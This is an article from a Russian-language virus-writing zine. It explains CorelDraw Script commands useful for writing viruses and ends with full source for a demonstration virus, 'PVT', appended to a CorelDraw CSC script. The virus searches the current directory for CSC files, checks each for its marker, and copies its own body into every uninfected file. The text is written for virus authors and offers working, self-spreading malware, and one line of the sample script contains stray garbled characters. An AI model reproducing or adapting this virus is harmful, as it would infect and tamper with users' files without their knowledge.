- [Duke's Virus Labs #7] - [Page 22] - C O R E L S C R I P T v i r u s e s ======================================= (c) by Duke/SMF Еще совсем недавно казалось, что написание вирусов, поражающих файлы при просмотре рисунка, попросту невозможно. Но нет предела человеческой фантазии. Немало помогают вирусописателям и разработчики различного рода Software . Вот и создатели CorelDraw пошли по стопам фирмы Microsoft и включили в последнюю версию своей программы поддержку макросов. Эти макросы могут содержаться в собственном графическом формате CorelDraw - CSC-файлах. Этот язык называется CorelDraw Script и напоминают собой Visual Basic. Любой самодостаточный для размножения язык программирования становится объектом внимания вирусописателей. Так стало и с CS... Первый вирус на CS написал zAxOn/DDT весной 1999 года. Нет необходимости рассказывать обо всех командах языка CS. Я поведаю лишь о тех, которые могут пригодиться при создании вирусов на CS. Попутно я провожу аналогию с Visual Basic для наглядности. Если вы тут ни черта не поймете, то винить надо не меня - идите лучше книжку по бейсику сперва прочитайте. Комментарием в CS являются строки, начинающиеся на "REM ". Код выполняется "сверху-вниз" с учетом команд безусловной передачи управления : Goto Metka .......... Metka: .......... Строковая переменная при наименовании имеет последним символом "$" (аналогично VB). Например : Stroka$ (надо заметить, что это правило можно не выполнять ;)) . При присваивании значением строковой переменной являются любые символы (с том числе 0Ah,0Dh), заключенные между кавычек "". При записи значений логических переменных или условий можно использовать логические связки AND, OR, NOT. Оператор выбора. ~~~~~~~~~~~~~~~~ В зависимости от количества выполняемых команд и наличия Else может иметь вид : If <условие> Then <команда> если выполняется лишь одна команда, или If <условие> Then <команды> End If Этот оператор может иметь любую степень вложенности. Оператор цикла. ~~~~~~~~~~~~~~~ Выполнение команд пока справедливо логическое условие. Синтаксис : Do While <условие> <команды> Loop Стандартные процедуры: ~~~~~~~~~~~~~~~~~~~~~~ Messagebox Stroka$,Titul,Code - выводит окно с сообщением Stroka$ под заголовком Titul и рисунком, соответствующим коду Code (см. VB) Стандартные функции, имеющие строковый тип, возвращают: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ GetCurrDate() - текущую дату (в формате ДДММГГ) Left(Stroka$,Number) - самые левые Number символов в строке Stroka$ Mid(Stroka$,Position,Number) - Number символов из строки Stroka$ начиная с номера Position FindFirstFolder(Mask$,Attribute) - поиск первого файла по маске Mask$ с атрибутами Attribute. (Аналогично FindFirst в паскале.) В Mask$ можно указать путь и использовать символы * и ? В Attribute можно использовать логические связки AND, OR, NOT FindNextFolder() - поиск очередного файла по ранее заданным маске и атрибутам. Признаком завершения списка файлов, удовлетворяющих заданным условиям, является возвращение этой функцией пустой строки "". Стандартные функции, имеющие целый тип, возвращают : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Instr(String$,SubString$,Number) - позиция вхождения строки SubString$ в строку String$. Если вхождения нет, то возвращается 0. Работа с файлами : ~~~~~~~~~~~~~~~~~~ Open FileName$ For Input As #Number - открывает файл с именем FileName$ для чтения, сопоставляя ему файловую переменную #Number, где Number - целое число от 1, не совпадающее с ранее использованным (см. VB) Open FileName$ For Output As #Number - открывает файл с именем FileName$ для записи, сопоставляя ему файловую переменную #Number, где Number - целое число от 1, не совпадающее с ранее использованным (см. VB) Если файл уже существует, то он перезаписывается Open FileName$ For Append As #Number - открывает файл с именем FileName$ для дозаписи, сопоставляя ему файловую переменную #Number, где Number - целое число от 1, не совпадающее с ранее использованным (см. VB) Все строки дописываются в конец Line Input #Number,Stroka$ - читать строку из файла #Number в переменную Stroka$ Из пустого файла считается пустая строка. Print #Number,Stroka$ - записать строку Stroka$ в файл #Number Close - закрывает открытые ранее файлы Kill Stroka$ - удаляет файл с именем Stroka$ Rename Stroka1$, Stroka2$, Code - переименовывает файл Stroka1$ в Stroka2$ (Code = 0) Eof(Number) - логическая величина, означающая признак конца файла Number Из CorelScript нет прямого доступа до имени файла, в котором этот скрипт содержится. Поэтому приходится извращаться с определением местоположения вируса. Для этого сканируется текущая директория и в файлах CSC ищутся метки вируса. Когда метка найдена, имя этого пораженного файла запоминается в отдельную текстовую переменную. При дальнейшем размножении тело вируса берется именно из этого файла. Для контроля за зараженностью файла используются те же самые метки. Мой демонстрационный вирус поражает CSC-файлы, записываясь в конец. Алгоритм вируса чрезвычайно прост: - сканируется директория, во всех файлах CSC ищется метка "REM PVT" , обозначающая начало вируса. Если метка найдена в каком-либо файле, имя этого файла записывается в переменную Dropper$ - сканируется директория, во всех файлах CSC ищется метка "REM PVT". Если метка найдена, то файл уже поражен и надо переходить к поиску другого файла. - если метка не найдена, то открываем найденный файл для дополнения, открываем файл с вирусом для чтения и ищем в пораженном файле метку начала вируса "REM PVT". Начиная с этой метки все тело вируса копируется построчно в незараженный файл. - ищем новый файл, пока они есть. Рисунок, симулирующий пораженный CSC-файл, взят мной из CSC.Gala Пораженный файл имеет вид : ===== Cut here ===== REM REM Converted from a DRAW PRESET binary to a DRAW RECORDING script WITHOBJECT "CorelDraw.Automation.7" .StartOfRecording .SuppressPainting .RecorderStorePreselectedObjects TRUE .RecorderSelectObjectByIndex TRUE, 1 .ApplyOutline 0, 0, 0, 0, 0, 0, 0, -1, -1, FALSE, 0, 0, FALSE .RecorderSelectObjectByIndex TRUE, 1 .DuplicateObject 0, 0 .RecorderSelectObjectByIndex TRUE, 2 .StretchObject 0.836417, 1, 0.836417, 1, FALSE, FALSE, 5 .RecorderSelectObjectByIndex TRUE, 2 .ApplyUniformFillColor 2, 0, 0, 0, 40 .RecorderSelectObjectByIndex TRUE, 1 .ApplyUniformFillColor 2, 0, 0, 0, 0 .RecorderSelectPreselectedObjects TRUE .RecorderSelectObjectsByIndex FALSE, 2, -1, -1, -1, -1 .ApplyBlend TRUE, 20, 0, FALSE, 0, FALSE, FALSE, 0, 0, 0, TRUE, TRUE, FALSE, FA|№GPLSE, 0, 0, 0, 0 .RecorderSelectObjectByIndex TRUE, 1 .DuplicateObject 0, 0 .RecorderSelectObjectByIndex TRUE, 4 .MoveObject -19303, 13461 .RecorderSelectObjectByIndex TRUE, 4 .ApplyUniformFillColor 2, 0, 100, 100, 0 .RecorderSelectObjectByIndex TRUE, 4 .OrderToFront .RecorderSelectObjectByIndex TRUE, 4 .MoveObject -2793, 7365 .RecorderSelectPreselectedObjects TRUE .RecorderSelectObjectsByIndex FALSE, 4, 3, 2, -1, -1 .Group .ResumePainting .EndOfRecording END WITHOBJECT REM PVT by Duke/SMF FileName$=FindFirstFolder ("*.csc",32 or 128) Do While Not FileName$="" Open FileName$ For Input As #1 Do While Not Eof(1) Line Input #1,Lines$ If Left(Lines$,7)="REM PVT" Then Dropper$=FileName$ Loop Close FileName$=FindNextFolder () Loop FileName$=FindFirstFolder ("*.csc",32 or 128) Do While Not FileName$="" Open FileName$ For Input As #1 Infected=0 Do While Not Eof(1) Line Input #1,Lines$ If Left(Lines$,7)="REM PVT" Then Infected=1 Loop Close If Infected=1 Then Goto NextFile Open FileName$ For Append As #1 Open Dropper$ For Input As #2 FindRem=0 Do While FindRem=0 Line Input #2,Lines$ If Left(Lines$,7)="REM PVT" Then FindRem=1 Loop Do While Not Eof(2) Print #1,Lines$ Line Input #2,Lines$ Loop Print #1,Lines$ Close NextFile: FileName$=FindNextFolder () Loop REM End of PVT ===== Cut here =====